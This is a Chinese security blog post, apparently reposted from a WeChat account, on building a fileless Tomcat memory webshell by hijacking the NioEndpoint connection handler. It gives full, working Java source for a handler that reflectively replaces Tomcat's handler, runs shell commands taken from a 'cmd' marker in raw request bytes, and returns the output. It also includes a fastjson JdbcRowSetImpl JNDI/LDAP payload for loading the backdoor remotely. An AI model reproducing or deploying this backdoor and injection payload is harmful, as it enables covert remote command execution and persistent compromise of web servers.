内存马的构造-Adapter内存马

admin 2024年7月14日19:07:48评论14 views字数 8093阅读26分58秒阅读模式

0x 00 前言

为何要写这篇文章呢
在前篇连接器中内存马的构造-Adapter内存马中,已经详细论述了连接器这边内存马该如何构造。
但忽略了一个问题,对于比较靠前的组件,数据还没有解析到请求里面,导致以下方法根本获取不到请求头中的数据

processor.getRequest().getHeader("cmd");

这个时候该怎么获取请求的数据呢?
而且回显的response也没准备好,直接获取response写入数据,不仅会出异常,而且还无法回显。
这种情况下如何进行数据回显呢?
所以就有了这篇文章。

本文从构造handle马开始,详细论述如何解决上述问题。

0x 01 理论基础

AbstractProtocol.ConnectionHandler#public SocketState process(SocketWrapperBase<s> wrapper, SocketEvent status) 方法,</s>

<s>

该方法会根据不同的协议创建不同的Processor ,之后调用Processor 的process方法

默认是Http11NioProtocol,会调用的是Http11Processor 的process方法

内存马的构造-Adapter内存马

往前一步,可以发现这个handle就是NioEndpoint的handler属性

内存马的构造-Adapter内存马

我们只需要获取内存中的NioEndpoint,并替换它的handle为我们的handle马,就可以完成注入

0x 02 构造

内存马注入

还是可以借助java内存对象搜索辅助工具在内存中寻找NioEndpoint

https://github.com/c0ny1/java-object-searcher

这里直接给出方法

public static Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}

}
return new Object();
}

我们虽然获取了NioEndpoint,但不能直接替换,先得要把原来的handle取出来,我们的handle的process逻辑执行完再执行原来的handle逻辑

NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);

请求获取

最开始想的是通过NioEndpoint获取processor

Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (null != currentProcessor) {
processor = (Processor) currentProcessor;
break;
}
}

processor获取request,request获取请求头中请求的命令。

processor.getRequest().getHeader("cmd");

但很可惜,根本获取不到,究其原因,是流中的数据没有解析到request中,当执行完以下方法的时候,才能获取流中的数据

既然如此,那就不用request获取请求头的数据了,直接获取inputBuffer的全部数据,之后indexof查找请求是否有我们的标识,如果有就取出命令并执行

ByteBuffer heapByteBuffer = ((Http11InputBuffer) getField(processor, "inputBuffer")).getByteBuffer();
try {
String a = new String(heapByteBuffer.array(), "UTF-8");
System.out.println(a);
if (a.indexOf("cmd") != -1) {
System.out.println(a.indexOf("cmd"));
String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("r", a.indexOf("cmd")) - 1);
exec(processor.getRequest(), cmd);
}
} catch (Exception e) {
throw new RuntimeException(e);
}

但有个弊端,获取到的request其实是前一次(或者前几次,跟线程数有关)的缓存数据,所以可能第二三四次请求,获取的命令还是第一次请求的命令,太不稳定了。

于是想到了开启一个线程,这个线程不断从尝试从request中获取命令,并执行命令。但依然不够稳定,因为能获取到request数据,只有从解析请求到请求完成的中间。

bluE0大佬发现Poller组件的NioSocketWrapper的read方法可成功获取当次的request请求,数据从流中读取出来,为了不影响后续的处理,还需要将数据放入流中,正好该类有个unRead方法可以将读取出来的数据又放回去。

而我们内存马重写的process方法的参数,正好就有这个NioSocketWrapper

所以就有了以下代码

byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
wrapper.read(false, buf);
buf.position(0);
wrapper.unRead(buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("cmd") != -1) {
//取出请求命令,执行命令
}

} catch (Exception e) {
e.printStackTrace();
buf.position(0);
wrapper.unRead(buf);
}

数据回显

最开始想的是从processor中获取request,request获取response,response写入回显

但实际response写数据实际是调用wrapper写数据,在执行AbstractEndpoint.Handler#process方法的时候,processor中wrapper为null,需要给其赋值

Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
// 设置方法可访问
setMethod.setAccessible(true);
// 调用私有方法
setMethod.invoke(processor, wrapper); // 传入参数

如果将数据写入后,直接执行handler.process(wrapper, status);,的确能回显,但说到底不够优雅。

既然已经带有cmd指令,说明是我们需要处理的恶意请求,执行完命令之后就没必要给容器处理了,直接返回SocketState.CLOSED就好

但这个时候又不回显。猜测应该是流没有flush,之后看看谁调用这个流刷新的方法,发现有个finishResponse方法

Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
finshMethod.setAccessible(true);
finshMethod.invoke(processor);

调用该方法将流刷新,数据成功回显。

完整构造如下

import org.apache.coyote.Processor;
import org.apache.tomcat.util.net.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.util.Set;

public class MyHandler implements AbstractEndpoint.Handler {
private static AbstractEndpoint.Handler handler;
private static Processor processor;

static {
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);
Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (null != currentProcessor) {
processor = (Processor) currentProcessor;
break;
}
}

}



public static Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}

}
return new Object();
}


public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {

declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}


@Override
public SocketState process(SocketWrapperBase wrapper, SocketEvent status) {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
wrapper.read(false, buf);
buf.position(0);
wrapper.unRead(buf);

} catch (Exception e) {
e.printStackTrace();
buf.position(0);
wrapper.unRead(buf);
}
SocketState r = SocketState.CLOSED;

try {
String a = new String(buf.array(), "UTF-8");
System.out.println(a);
if (a.indexOf("cmd") != -1) {
//setSocketWrapper response写数据实际是调用wrapper写数据,不调用该方法wrapper为null
Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
// 设置方法可访问
setMethod.setAccessible(true);
// 调用私有方法
setMethod.invoke(processor, wrapper); // 传入参数
String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("r", a.indexOf("cmd")));
byte[] result = exec(cmd.trim());
processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));
//调用finishResponse,使流刷新
Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
finshMethod.setAccessible(true);
finshMethod.invoke(processor);
// processor.getRequest().getResponse().addHeader("type:","afeafaeaaw");
} else {
r = handler.process(wrapper, status);
}
} catch (Exception e) {
e.printStackTrace();
}
return r;
}

public byte[] exec(String c) {
System.out.println(c);
byte[] result = new byte[]{};
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", c} : new String[]{"/bin/sh", "-c", c};
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\A").next().getBytes();
} catch (Exception e) {
}
return result;
}

@Override
public Object getGlobal() {
return null;
}

@Override
public Set getOpenSockets() {
return null;
}

@Override
public void release(SocketWrapperBase socketWrapper) {

}

@Override
public void pause() {

}

@Override
public void recycle() {

}
}

0x 03 验证

将该马加入jndi测试工具,

测试环境为 fastjson1.2.24,jdk8

打入以下payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/0/MyHandler/123","autoCommit":true}

jndi测试工具会返回指向MyAdapter内存马的reference

之后受害服务器远程通过reference远程加载构造的Handler马

执行器静态代码块中的逻辑,将内存中的NioEndpoint的handle替换为我们的handle马

之后发送任意路径下的请求,都会到我们handle马的process方法,如果请求头中带有cmd,则会执行命令并将结果返回

否则就handler.process(wrapper, status);将其交给容器处理。

至此,一个没有被大家提出过的内存马就构造出来了,相比于之前构造的adapter内存马,由于请求数据并没有解析,所以只能从流中获取。

响应也不能直接response设置回显,得将wrapper添加进去,得调用finishResponse方法。

0x 04 写后感

bluE0大佬文章最后,有这么一句话:

Tomcat8.0以前版本在处理io时直接使用NioChannel.read(buf)作为获取数据流的方法,而不同于8.5版本使用封装类SocketWrapperBase,故其中的处理逻辑不支持read()后将buf再重新放回原有的socket(这个说法其实并不准确,其实是tomcat在SocketWrapperBase中手动实现了一个transform方法将已读出的read数据放入后续需要进行处理的read buffer中),所以对于8.0以前的版本文中所提到的截获socket的方法可能并不适用,还是得使用缓存实现。

但用缓存实现,可能读到前几次请求的数据,也不够稳定,说到底,对于请求数据没有解析到请求里面,目前还没发现兼容各版本,获取请求数据比较好的解决方案。

所以建议寻找作为内存马的组件,是在processor解析完请求之后的组件。

参考链接:

Executor内存马的实现(二) - 先知社区 (aliyun.com)

连接器中内存马的构造-Adapter内存马 - 先知社区 (aliyun.com)

java内存对象搜索辅助工具

https://github.com/c0ny1/java-object-searcher

</s>

原文始发于微信公众号(船山信安):内存马的构造-Adapter内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日19:07:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内存马的构造-Adapter内存马https://cn-sec.com/archives/2949609.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息